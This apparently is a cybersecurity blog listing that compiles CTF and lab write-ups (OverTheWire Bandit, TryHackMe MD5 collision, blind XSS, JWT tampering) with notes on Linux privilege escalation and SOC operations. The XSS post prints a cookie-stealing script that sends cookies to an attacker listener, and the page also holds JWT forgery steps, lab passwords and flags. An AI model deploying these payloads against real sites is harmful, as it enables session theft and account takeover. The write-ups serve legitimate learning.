67 posts tagged with "cybersecurity"

Login: ssh bandit18@bandit.labs.overthewire.org -p 2220
Password: hga5tuuCLF6fFzBgnYw9cB3Srx9_no_a (from Level 17)

task​

The password for the next level is stored in a file called readme in the home directory. However, someone has modified .bashrc to log you out immediately when you log in via SSH.

theory lil bit​

1. SSH Command Execution: Normally, when you SSH, the server starts an interactive shell. However, you can append a command at the end of your SSH string (e.g., ssh user@host command). The server will execute that single command and return the output without initiating a full login shell, effectively bypassing the .bashrc logout script.
2. .bashrc: This is a script file that runs every time an interactive shell is started. In this level, it contains a command like exit or logout, which is why your connection closes immediately upon a standard login.
3. Pseudo-terminal (-t): Sometimes, if a command requires an interactive interface but is being blocked, forcing a terminal allocation with -t can help, or explicitly calling a different shell like /bin/bash --norc (though standard command execution is usually enough).

solution​

Method 1: Direct Command Execution​

By appending the command to the end of the SSH login, we bypass the interactive login shell entirely.

# List files to confirm the target
ssh bandit18@bandit.labs.overthewire.org -p 2220 ls
# Output: readme

# Read the file directly
ssh bandit18@bandit.labs.overthewire.org -p 2220 cat readme
# Output: cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8

Method 2: Requesting a Shell​

You can force SSH to start a specific shell instead of the default one, which may avoid the triggers in the user's standard profile.

# Force a bash shell
ssh bandit18@bandit.labs.overthewire.org -p 2220 /bin/bash
ls
readme
cat readme
cGWpMaKXVwDUNgPAVJbWYuGHVn9zl3j8

`

initial observations​

reading through the problem statement for "when hearts collide," the application's underlying logic became clear. the web app allows you to upload an image, calculates its md5 hash, and then compares that hash against its database to find a "match."

the vulnerability​

the critical flaw here is the application's reliance on md5 to determine file uniqueness. md5 is a deprecated and broken cryptographic hash function that is highly vulnerable to collision attacks. this means an attacker can intentionally generate two entirely different files that produce the exact same md5 hash output.

(for a deeper understanding of how this works, check out this official exploit-db reference: md5 collision of these 2 images is now() trivial and instant)

the exploit​

to exploit this logic flaw, i needed to create an md5 collision using a standard image file. rather than dealing with compiling collision tools locally, i opted to use a pre-built docker container for fastcoll.

• grabbed a random standard jpeg image to use as my base (e.g., fly.jpg).
• spun up the brimstone/fastcoll docker container and passed my image in as a prefix block to generate two new, distinct images (f1.jpg and f2.jpg):

docker run --rm --platform linux/amd64 -v $PWD:/work -w /work brimstone/fastcoll --prefixfile fly.jpg -o f1.jpg f2.jpg

(note: tweak the --platform flag if your local machine's architecture requires it).

the result​

with the two newly generated images in hand, i returned to the web app.

• uploaded f1.jpg to the server.
• immediately followed up by uploading f2.jpg.

because f2.jpg had the exact same md5 hash as f1.jpg but contained different file data, the application's matching logic broke perfectly. boom. the flag popped up on the screen.

the thought process: sniffing out the vulnerability​

when i first opened the lab, i was presented with a matchmaking survey. it asked for standard details like name, age, and what i was seeking.

the real lightbulb moment happened right after hitting the submit button. a pop-up appeared that said something along the lines of .. "your survey would be viewed in short time."

this immediately triggered that if an admin, a bot, or a "matchmaking team" is going to view my answers later, that means two things:

1. my input is being saved to a database somewhere (stored).
2. someone else's browser will render my input on an internal dashboard (blind).

this is the perfect recipe for a blind stored xss attack. if the developers didn't sanitize the inputs before displaying them on the admin panel, i could force the admin's browser to execute malicious javascript and steal their session cookie.

the setup: preparing the trap​

to catch the admin's cookie, i needed a way for their browser to "phone home" to my machine. since i was connected to the tryhackme vpn, i decided to spin up a local server.

first, i had to find my vpn ip. since i am on a mac, standard linux commands didn't show the right interface. i checked my interfaces and found my vpn ip on utun4, which was 192.168.137.132.

next, i started a simple python web server in my terminal to act as my listener. i left this running in the background:

python3 -m http.server 8000

the attack: injecting the payload​

with my listener running, i went back to the survey form. i needed a payload that would grab the admin's cookie, encode it in base64 (to prevent special characters from breaking the url), and send it back to my python server.

i crafted this simple fetch request:

<script>fetch('http://your_vpn_ip:8000/?cookie=' + btoa(document.cookie))</script>

i injected this exact script into the text fields of the survey, such as the "name" field, and submitted the form again.

the result: catching the flag.​

after submitting, i just had to wait and watch my terminal. because it was a blind xss vulnerability, i couldn't see the execution happen on the website itself.

however, within a short time, the background admin bot reviewed my matchmaking survey. the unsanitized page loaded my <script> tag, and my python server terminal lit up with a successful get request containing the base64-encoded cookie.

initial observations​

web applications running on port 5000 are often built with python frameworks like flask. because of this, they frequently store session data—including user roles—directly in a cookie.

the vulnerability​

keeping that in mind, i inspected the site and opened the developer tools.

• navigated to application -> storage -> cookies.
• found a cookie named tryheartme_jwt.
• recognized it as a json web token (jwt).

the exploit​

i copied the cookie's value and headed over to an online tool called jwt.one to mess with the payload.

• changed the "role" parameter from "user" to "admin".
• increased the "credits" just in case i needed them to make the purchase.

after generating the forged token, i pasted it back into the cookie value in my browser and hit refresh.

the result​

boom. admin access gained. the hidden valenflag product finally appeared on the page. all that was left was to purchase it and grab the flag.

Note: This blog is made by taking reference from: Delinea blog on Linux Privilege Escalation.

What is Privilege Escalation?​

Privilege escalation occurs when an attacker gains access to a limited user account and attempts to elevate their permissions to a higher level (typically root).

• Vertical Escalation: A user with lower privileges attempts to gain higher privileges (e.g., a standard user becoming root).
• Horizontal Escalation: An attacker takes over another user's account with similar privileges but different access rights (e.g., accessing a database admin's account).

Core Concepts & File Structures​

Understanding how Linux handles users and permissions is critical for both exploitation and defense.

Key Files​

• /etc/passwd: Lists all users on the system.
  • Format: Username:PasswordPlaceholder:UID:GID:Info:Home:Shell
• /etc/shadow: Stores encrypted password hashes (readable only by root).
• /etc/group: Defines user groups.

Permissions​

• r (Read): 4
• w (Write): 2
• x (Execute): 1
• Special Bits:
  • SUID (Set User ID): Runs the file with the permissions of the file owner (often root).
  • SGID (Set Group ID): Runs the file with the permissions of the group.

source : https://drive.google.com/file/d/1I-diu5547PiQ9p_xnN5l7lhG31WWrsf6/view

Enumeration: The First Step​

Before escalating, you must understand the environment.

Manual Enumeration Commands​

Finding SUID/SGID Files​

Command to find all files with SUID or SGID bits set:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Automated Enumeration Tools​

These scripts automate the discovery of potential vectors:

• LinPEAS (Linux Privilege Escalation Awesome Script)
• LinEnum
• Linux Smart Enumeration
• Linux Exploit Suggester 2

Common Escalation Techniques​

1. Kernel Exploits​

Attackers look for outdated kernel versions with known vulnerabilities (e.g., Dirty COW).

• Detection: Check uname -r and search exploit databases.

2. Abuse of Sudo Rights​

If a user is allowed to run specific commands via sudo without a password (checked via sudo -l), they might break out of that command to spawn a root shell.

• Example: Using vim or less to execute shell commands.

3. SUID/SGID Binaries​

Executables with the SUID bit set run with the owner's privileges. If a binary is owned by root and has SUID set, exploiting it can yield root access.

4. Misconfigurations​

• Weak File Permissions: Sensitive files (like /etc/shadow) being readable or writable by standard users.
• Cron Jobs: Scripts running as root that are writable by standard users.
• Cleartext Passwords: Credentials left in config files, history files, or scripts.

Prevention & Mitigation​

To secure Linux systems against these attacks:

• Least Privilege: Ensure users only have the permissions necessary for their role.
• Patch Management: Keep the Kernel and applications updated.
• Secure Passwords: Use strong passwords and store them in PAM/Vault solutions rather than cleartext.
• Audit Sudoers: Regularly check /etc/sudoers and remove unnecessary entries.
• Monitor Logs: Use tools to audit and log privileged access usage.
• MFA: Implement Multi-Factor Authentication for access points.

1. System Overview​

A SOC (Security Operations Center) is an expensive "Black Box" for a company. Management puts money in, and they want to know if "Security" is coming out. To prove value and efficiency, the SOC relies on Metrics (KPIs). These numbers tell you if the system is working or if the analysts are drowning.

• The Goal: Detect faster, Respond faster, and reduce Noise.
• The Mechanism: Service Level Agreements (SLAs). These are "Contracts" (e.g., "We promise to look at every Critical alert within 10 minutes").

2. The Time-Based Metrics (The Clock)​

Security is a race against time. These metrics measure the speed of the pipeline.

A. MTTD (Mean Time to Detect)​

• Definition: Time from Entry (Hack starts) -> Alert Generation (SIEM fires).
• System Component: This measures the Technology (SIEM/Sensors).
• Failure Mode: If MTTD is high (e.g., 20 mins), your SIEM rules are running too slowly (scheduled searches vs. real-time) or your logs are delayed.

B. MTTA (Mean Time to Acknowledge)​

• Definition: Time from Alert Generation -> Analyst Assignment (Status: In Progress).
• System Component: This measures the Human Capacity.
• Failure Mode: If MTTA is high, you don't have enough analysts, or they are ignoring the queue (Burnout).
• Target: < 10 Minutes for Critical.

C. MTTR (Mean Time to Respond/Remediate)​

• Definition: Time from Alert Generation -> Threat Contained (e.g., Host Isolated).
• System Component: This measures Process Efficiency.
• Failure Mode: If MTTR is high (e.g., 6 hours), your analysts don't know what to do. They lack Workbooks or Access Rights (e.g., waiting for IT to reset a password).

3. The Quality Metrics (The Noise)​

Speed doesn't matter if you are chasing ghosts. These metrics measure the accuracy of the pipeline.

A. FPR (False Positive Rate)​

• Formula: False Positives / Total Alerts
• The Danger Zone: If FPR > 80%, the system is broken.
• Consequence: "Alert Fatigue." Analysts stop treating alerts seriously because "it's usually nothing."
• Fix: Tune the SIEM rules (Exclude trusted updaters/scanners).

B. AER (Alert Escalation Rate)​

• Formula: Escalated Alerts / Total Alerts
• Context: Measures L1 autonomy.
• Failure Mode: If L1 escalates 50% of tickets, they aren't filtering. They are just passing the buck to L2.
• Target: < 20%.

4. Lab Scenarios: Debugging the SOC​

In the provided lab, you acted as a Manager fixing broken processes.

• Scenario 1: High MTTR (Slow Fix)

  • Symptom: It took 5 hours to reset a password.
  • Root Cause: No process. The analyst didn't know how to rotate credentials.
  • Fix: Create a Workbook. (Process > People).
  • Flag: THM{mttr:quick_start_but_slow_response}

• Scenario 2: High MTTD (Slow Detection)

  • Symptom: The team sat idle for 20 mins while the hack was happening.
  • Root Cause: SIEM rules were scheduled to run every 30 mins, not real-time.
  • Fix: Tune the SIEM schedule. (Technology Issue).
  • Flag: THM{mttd:time_between_attack_and_alert}

• Scenario 3: High FPR (Burnout)

  • Symptom: L1s closing 760 alerts/shift. 95% noise.
  • Root Cause: IT automation scripts triggering alerts.
  • Fix: Tune Rules to exclude IT noise.
  • Flag: THM{fpr:the_main_cause_of_l1_burnout}

5. Operational Reality​

• The "Zero Alert" Fallacy: If a SOC sees Zero alerts for a month, it isn't "Secure." It means the sensors are broken or the rules are blind.
• Gaming the System: Analysts might close tickets too fast (without real investigation) just to keep their MTTR low. This is why Quality Assurance (QA) is vital.
• Weekend Lag: If a team works 8/5 (Mon-Fri) and a hack happens on Saturday, the MTTA will be huge (Monday morning). Attackers know this and prefer weekends.

1. System Overview​

A SIEM (Security Information and Event Management) is the central nervous system of the SOC. Without a SIEM, an analyst has to manually check the logs of every single device (Firewall, Server, Laptop). With a SIEM, all those logs are sent to one place, translated into one language, and checked automatically for threats.

• Host-Centric Logs: Events from within a single device (e.g., User Login, File Access).
• Network-Centric Logs: Events about traffic between devices (e.g., VPN connections, Firewall Allows/Denies).

2. The Data Pipeline (Architecture)​

The SIEM works in stages. Understanding this pipeline is key to debugging why an alert didn't fire.

1. Ingestion (Collection):
   • Getting logs off the device and into the SIEM.
   • Methods: Agents (Forwarders), Syslog (for network gear), or Manual Uploads.
   • Key Location (Linux): /var/log/httpd (Apache Web Logs).
2. Normalization:
   • Every device speaks a different language. A Windows log says "Event ID 4624" (Login). A Linux log says "Accepted password for...".
   • Normalization translates both to a standard field: Action: User_Login.
3. Correlation (The Brain):
   • The SIEM links events together.
   • Example: "VPN Login from Russia" + "File Download" = Suspicious.
4. Visualization:
   • Dashboards showing trends (e.g., "Top 10 Failed Logins").

3. Correlation Rules (The Logic)​

A SIEM doesn't "know" what a hack looks like. You have to teach it using Rules.

• The Logic: IF [Condition A] AND [Condition B] THEN [Trigger Alert].
• Common Rule Types:
  • Brute Force: IF Action=Login_Failed happens > 5 times in 1 minute -> Alert.
  • Log Deletion (Covering Tracks): IF EventID=104 (Log Cleared) -> Alert (Critical).
  • Process Execution: IF ProcessName contains whoami OR miner -> Alert.

4. Lab Analysis: Crypto-Mining Incident​

In the lab scenario, you investigated a slow computer.

• The Trigger: An alert fired for "Suspicious Process."
• The Evidence:
  • Process Name: cudominer.exe (Mining software).
  • Rule Match: The SIEM rule looked for the string miner.
  • User: Chris.
  • Hostname: HR_02.
• Verdict: True Positive. The user (or malware) was running unauthorized mining software.

5. Operational Reality vs. Theory​

• Format Issues: In the real world, logs break constantly. If an update changes a log format, the SIEM stops understanding it (Normalization failure).
• Tuning: The hardest part of the job.
  • Example: You create a rule for "Log Deletion."
  • Reality: The IT Admin has a script that clears logs every Sunday for maintenance.
  • Fix: You must Tune the rule to say "IF Log Deletion AND User is NOT 'IT_Admin_Account'".
• Blind Spots: If you don't install an agent on a server, the SIEM is blind to it.

1. System Overview​

SOC Analysts often suffer from "Context Failure." A log tells you what happened, but not why it matters. To solve this, the SOC uses two mechanisms:

1. Lookups (Static Data): Databases that answer "Who is this user?" and "What is this server?"
2. Workbooks (Process Logic): Standardized checklists that tell the analyst "Do X, then do Y."

Together, they turn raw data into Enriched Intelligence.

2. Lookups: The Context Engine​

An alert says User: j.doe accessed Server: 10.10.0.5. Is this bad? You can't know without Lookups.

A. Identity Inventory (The "Who")​

A database (often pulled from Active Directory or HR systems like BambooHR) mapping usernames to roles.

• Scenario: R.Lund (Financial Advisor) accesses financial files.
  • Lookup Result: Normal. He is in the Finance department.
• Scenario: svc-veeam (Backup Service) logs in interactively.
  • Lookup Result: Suspicious. Service accounts should only run in the background.

B. Asset Inventory (The "What")​

A list of every device, its IP, and its function.

• Scenario: High traffic from 10.10.0.5.
• Lookup Result: Hostname is HQ-FINFS-02 (Financial File Server).
• Conclusion: High traffic is expected (file backups).

C. Network Diagrams (The "Where")​

Visual maps of the network topology.

• Key Concept: Segmentation.
• Example:
  • 10.10.x.x = VPN Subnet (External users).
  • 172.16.15.x = Database Subnet (High Security).
• Attack Path: If an IP from the VPN subnet tries to scan the Database subnet, the diagram confirms this is a violation of segmentation.

3. Workbooks: The Process Engine​

Workbooks (also called Playbooks or Runbooks) are logic trees designed to standardize the Triage process. They remove "guessing" from the equation.

The Standard Workflow​

Every workbook generally follows this logic flow (The "3 Phases"):

1. Phase 1: Ingestion & Ownership

   • Step 1: Assign alert to Self.
   • Step 2: Review Alert Details (Timestamp, Source IP).

2. Phase 2: Enrichment (Using Lookups)

   • Step 3: Check Identity Inventory (Who is the user?).
   • Step 4: Check Asset Inventory (Is the machine critical?).
   • Step 5: Check Threat Intel (Is the IP malicious?).

3. Phase 3: Verdict & Action

   • Path A (Benign): If user role matches activity -> Close as False Positive.
   • Path B (Malicious): If activity is unauthorized -> Collect Evidence -> Escalate to L2.

4. Lab Analysis: Workbook Logic​

In the provided lab scenarios, you built workbooks for different alert types.

• Scenario 1: Phishing Email
  • Logic: Check Sender -> Check Attachment -> If malicious, Escalate.
• Scenario 2: PowerShell Abuse
  • Logic: Check Parent Process (Word vs. Admin Tool) -> Check Command Line -> Escalate.
• Scenario 3: Failed Logins
  • Logic: Check Asset Value -> Check if specific to one user or many -> Tune Rule if necessary.

5. Operational Reality vs. Theory​

• Stale Data: In the real world, Asset Inventories are rarely 100% accurate. Old servers are forgotten; new laptops aren't registered yet. "Trust but Verify."
• Workbook Fatigue: If a workbook has 50 steps for a simple alert, analysts will ignore it. Good workbooks are short, modular, and automated (SOAR).
• Shadow IT: You will often see traffic from devices not in your Asset Inventory. This is "Shadow IT" (Devices users plugged in without asking). It is almost always a security risk.

1. System Overview​

Triage is just the filtering mechanism. Reporting is the output mechanism. After validating an alert (Triage), the information must be structured and moved upstream. This phase bridges the gap between "I found something" and "We fixed it."

• L1 Role: Validate, document, and route.
• L2 Role: Receive valid threats, perform deep forensics, and execute remediation (containment/cleaning).
• Communication: The critical link to external stakeholders (IT, HR, Management).

2. The Reporting Lifecycle​

The goal is to create "Actionable Intelligence." A report is useless if the next person has to redo your investigation.

Step A: The "5 Ws" Framework (Standardization)​

Every report must follow a strict schema to ensure no critical data is lost during handoff.

1. Who: The entity involved.
   • User: m.clark
   • Privilege: NT AUTHORITY\SYSTEM (Highest risk).
2. What: The specific action.
   • Action: Executed revshell.exe via cmd.exe.
3. When: The exact timestamp (SIEM time, not current time).
   • Critical: Helps correlate with other logs (e.g., firewall traffic at the exact same second).
4. Where: The location.
   • Host: DMZ-MSEXCHANGE-2013 (High value target).
   • Path: C:\Users\Public\ (Common malware drop zone).
5. Why: The Verdict justification.
   • Reasoning: "Parent process is IIS Worker (w3wp.exe) spawning a shell. This indicates a web shell exploitation."

Step B: The Decision Matrix (Escalate vs. Close)​

Not every validated alert goes to L2. You must filter based on the "Alert Funnel."

Step C: Escalation Protocol​

When moving a ticket from L1 -> L2, follow this "Handshake":

1. Update Status: Move from "In Progress" to "Escalated" (or reassign owner to L2).
2. The Handoff:
   • Procedural: Assign ticket in the system.
   • Direct: Ping the L2 on shift (Slack/Teams). Crucial for Critical alerts.
3. No "Throwing over the fence": You remain responsible until the L2 acknowledges receipt.

3. Communication Procedures (Crisis Management)​

The system breaks down when people panic. Follow these rules when standard workflows fail.

• The "Silent" Attacker: If you suspect a user's communication channel (Slack/Email) is compromised, do not contact them there. Call them on a mobile phone.
• The Unresponsive L2: If a Critical alert sits for >30 mins with no L2 response:
  1. Call L2 directly.
  2. Escalate to L3.
  3. Escalate to SOC Manager. (Do not jump straight to Manager unless necessary).
• The "Missed" Attack: If you realize you closed a ticket yesterday that was actually malware:
  • Do not hide it.
  • Re-open immediately and inform L2. Time is the enemy; hiding mistakes helps the attacker.

4. Technical Indicators in Reporting​

When writing the "Why" section, focus on these proof points:

• Email Analysis:
  • SPF/DKIM Fail: The sender is not who they claim to be (Spoofing).
  • Urgency: "Action Required Immediately" (Social Engineering).
  • Attachment: .zip or .html attachments from unknown senders.
• Web Shells:
  • Process Tree: w3wp.exe (Web Server) -> cmd.exe or powershell.exe. Web servers should serve pages, not run commands.
• Reconnaissance:
  • Commands: whoami, net user, nltest. These are "enumerating" the network to find the next target.

5. Operational Reality​

• Documentation is Evidence: In a legal breach, your notes are evidence. "I think it's bad" is useless. "Hash X matches Trojan Y on VirusTotal" is evidence.
• The "Bus Factor": Write every report as if you will be hit by a bus tomorrow. Can the next person understand exactly what happened without asking you?

1. System Overview​

The SOC L1 analyst acts as the verification layer between automated detection systems and manual incident response.

• Data Source: Endpoints (laptops, servers), Firewalls, and Cloud services generate raw logs.
• Aggregation: A SIEM (Security Information and Event Management) tool collects these logs.
• Detection: The SIEM applies logic rules (correlations) to the logs.
• Output: When a rule condition is met, an Alert is generated.

The L1 role is to validate whether the Alert represents a real security threat or a system error (noise).

2. The Triage Lifecycle​

The workflow follows a standard logic gate to ensure alerts are handled efficiently.

Step A: Queue Management​

Alerts appear in a dashboard queue. They must be selected based on a specific hierarchy to minimize risk.

1. Severity: Prioritize Critical and High alerts first. These represent immediate threats (e.g., Ransomware, Data Exfiltration).
2. Time: If severity is equal, prioritize the oldest alert.
3. Assignment: The analyst must assign the alert to themselves. This locks the ticket and prevents duplication of effort.

Step B: Contextual Analysis​

An alert provides a timestamp and a trigger event. The analyst must query surrounding data to understand the Intent.

• User Context: Is the user's behavior anomalous?
  • Example: A Human Resources user running PowerShell scripts is suspicious. A Developer doing the same is likely normal.
• Host Context: What is the function of the machine?
  • Example: High traffic on a web server is normal; high traffic on a printer is suspicious.
• External Intelligence:
  • Check destination IPs against reputation databases (e.g., AbuseIPDB, Talos).
  • Check file hashes against VirusTotal.

Step C: The Decision (Logic Gate)​

Every alert must end in a binary decision.

1. False Positive (Benign) The system logic triggered correctly, but the activity is not malicious.

• Causes: Legitimate administrative work, software updates, or overly broad detection rules.
• Action: Close the alert. Note the business justification (e.g., "User authorized to install Spotify").

2. True Positive (Malicious) The activity is unauthorized and harmful.

• Causes: Malware execution, credential theft, unauthorized access.
• Action: Escalate to L2/Incident Response. The L1 typically prepares the evidence package but does not perform the containment (isolation/wiping) themselves.

3. Technical Indicators​

When analyzing raw logs during Triage, look for these specific anomalies:

• Parent-Child Process Drift:
  • Standard: explorer.exe opens chrome.exe.
  • Suspicious: winword.exe (Word) opens powershell.exe. This suggests a malicious macro.
• Beaconing:
  • Consistent, rhythmic network connections to an external IP at regular intervals (e.g., every 5 minutes). This indicates Command and Control (C2) communication.
• Double Extensions:
  • Files named document.pdf.exe or invoice.xlsx.scr. The system hides the final extension, tricking the user into executing a binary.

4. Operational Reality vs. Theory​

• Noise: In a production environment, SIEM rules drift. Valid software updates often trigger "System Modification" alerts. The majority of L1 work is filtering out this noise.
• Living off the Land: Attackers often use standard administrative tools (PowerShell, PsExec) to blend in. The SIEM cannot distinguish between an Admin using PowerShell and a Hacker using PowerShell. The analyst must verify the source and intent manually.